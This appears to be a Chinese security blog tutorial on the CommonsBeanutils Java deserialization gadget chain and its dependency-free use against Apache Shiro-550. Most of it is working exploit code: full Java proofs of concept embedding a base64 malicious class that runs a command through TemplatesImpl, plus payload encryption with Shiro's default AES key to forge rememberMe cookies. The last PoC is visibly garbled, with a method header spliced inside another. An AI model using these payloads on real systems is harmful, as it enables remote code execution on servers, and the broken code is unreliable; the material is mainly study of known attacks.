• CB利用链及无依赖打Shiro


    前言#

    前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行java.util.Comparator接口的compare()方法。

    那么是否还能找到其他可以利用的java.util.Comparator对象呢?

    Apache Commons Beanutils#

    Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

    比如,Cat是一个最简单的JavaBean类

    final public class Cat {
    	private String name = "catalina";
    		
       public String getName() {
    		return name;
    		}
    	
       public void setName(String name) {
    		this.name = name;
    		}
    }
    

    它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

    commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如

    PropertyUtils.getProperty(new Cat(), "name");
    

    此时,commons-beanutils会自动找到name属性的getter方法,也就是getName,然后调用,获得返回值。除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象 中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个 方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。 当然,commons-beanutils中诸如此类的辅助方法还有很多,如调用setter、拷贝属性等。

    getter#

    前边说了,我们需要找可以利用的java.util.Comparator对象,在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator

    BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口。我们看它的compare方法

    image-20221114153547658

    这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值,上一节我们说了,PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?

    在[Java安全之动态加载字节码(https://www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl时,有过这么一段描述

    image-20221114153919837

    追溯到到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用

    其中TemplatesImpl#getOutputProperties()方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer(),也就是我们后面常用来执行恶意字节码的地方。

    public synchronized Properties getOutputProperties() {
    		try {
    				return newTransformer().getOutputProperties();
    		}
    		catch (TransformerConfigurationException e) {
    				return null;
    		}
    }
    

    getOutputProperties这个名字,是以get开头,正符合getter的定义。

    所以,PropertyUtils.getProperty(o1,property) 这段代码,当o1是一个TemplatesImpl对象,而 property 的值为 outputProperties时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()方法,触发代码执行。

    利用链构造#

    首先创建TemplateImpl:

    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{
    ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
       });
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    

    然后,实例化BeanComparator ,BeanComparator构造函数为空时,默认的property就是空:

    image-20221114154741323

    final BeanComparator comparator = new BeanComparator();
    

    然后用这个comparator实例化优先队列PriorityQueue

    final PriorityQueue queue = new PriorityQueue(2, comparator);
    // stub data for replacement later
    queue.add(1);
    queue.add(1);
    
    

    可见,我们添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare()中, 如果this.property 为空,则直接比较这两个对象。这里实际上就是对两个1进行排序。

    初始化时使用正经对象,且property为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将property的值设置成恶意的outputProperties,将队列里的两个1替换成恶意的TemplateImpl对象:

    setFieldValue(comparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{obj, obj})
    

    最终POC如下:

    package org.example;
    
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.io.*;
    import java.util.*;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import org.apache.commons.beanutils.BeanComparator;
    
    public class CommonsBeanutils1 {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception{
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{code});
            setFieldValue(obj, "_name", "gk0d");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            BeanComparator comparator = new BeanComparator();
            Queue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
            // ⽣成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    
    

    image-20221114171808155

    Shiro550#

    之前在利用TemplatesImpl攻击Shiro中写了利用CC链加TemplatesImpl来攻击Shiro。

    这里说一下,Shiro是依赖于commons-beanutils的,所以说只要有shiro就一定有CB,用CB利用链肯定会更加方便。

    构造POC:

    使用上面的CB链进行加密打Shrio试试

    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.io.*;
    import java.util.*;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    public class cb_shiro {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{code});
            setFieldValue(obj, "_name", "Arsene.Tang");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            BeanComparator comparator = new BeanComparator();
            Queue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
            // ⽣成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            byte[] payload= barr.toByteArray();
            AesCipherService aes = new AesCipherService();
            byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource finalpayload = aes.encrypt(payload,key);
            System.out.println(finalpayload.toString());
        }
    }
    

    image-20221114173613054

    image-20221114173632108

    Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

    serialVersionUID#

    如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

    当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了。

    我们在生成rememberMe的时候本地使用的是commons-beanutils1.9.4版本,而shiro自带的是1.8.3版本。出现了serialVersionUID对应不上的问题。

    所以我们直接将本地的commons-beanutils也换成1.8.3版本。再次生成Payload进行测试,仍然没有触发代码执行。

    image-20221114181503195

    没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名即可看出,这个类是来自于commons-collections,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

    无依赖的Shiro反序列化利用链#

    看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了:

    image-20221114181648333

    BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用 ComparableComparator

    既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

    • 实现 java.util.Comparator接口
    • 实现java.io.Serializable接口
    • Java、shiro或commons-beanutils自带

    image-20221114181932084

      public static final Comparator CASE_INSENSITIVE_ORDER
                                             = new CaseInsensitiveComparator();
        private static class CaseInsensitiveComparator
                implements Comparator, java.io.Serializable {
            // use serialVersionUID from JDK 1.2.2 for interoperability
            private static final long serialVersionUID = 8575799808933029326L;
    
            public int compare(String s1, String s2) {
                int n1 = s1.length();
                int n2 = s2.length();
                int min = Math.min(n1, n2);
                for (int i = 0; i < min; i++) {
                    char c1 = s1.charAt(i);
                    char c2 = s2.charAt(i);
                    if (c1 != c2) {
                        c1 = Character.toUpperCase(c1);
                        c2 = Character.toUpperCase(c2);
                        if (c1 != c2) {
                            c1 = Character.toLowerCase(c1);
                            c2 = Character.toLowerCase(c2);
                            if (c1 != c2) {
                                // No overflow because of numeric promotion
                                return c1 - c2;
                            }
                        }
                    }
                }
                return n1 - n2;
            }
    

    CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了 ComparatorSerializable,且位于Java的核心代码

    通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator

    final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
    

    最后构造处新的利用链

    package org.example;
    
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    import java.io.*;
    import java.util.*;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.shiro.crypto.AesCipherService;
    import org.apache.shiro.util.ByteSource;
    
    import static java.util.Base64.getDecoder;
    
    public class cb_shiro {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
            public static void main(St
        }ring[] args) throws Exception {
            byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][]{code});
            setFieldValue(obj, "_name", "TemplatesImpl");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
            final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
            final Queue queue = new PriorityQueue(2, comparator);
            queue.add(1);
            queue.add(1);
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});
            // ⽣成序列化字符串
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();
    
            byte[] payload= barr.toByteArray();
            AesCipherService aes = new AesCipherService();
            byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
            ByteSource finalpayload = aes.encrypt(payload,key);
            System.out.println(finalpayload.toString());
        }
    }
    
    

    image-20221114182530433

    又报错,因为我们后面添加的是两个整形对象,不能转换成字符串类型,那我们把1改成"1"就解决了

    queue.add(“1”);
    queue.add(“1”);
    

    image-20221114183023311

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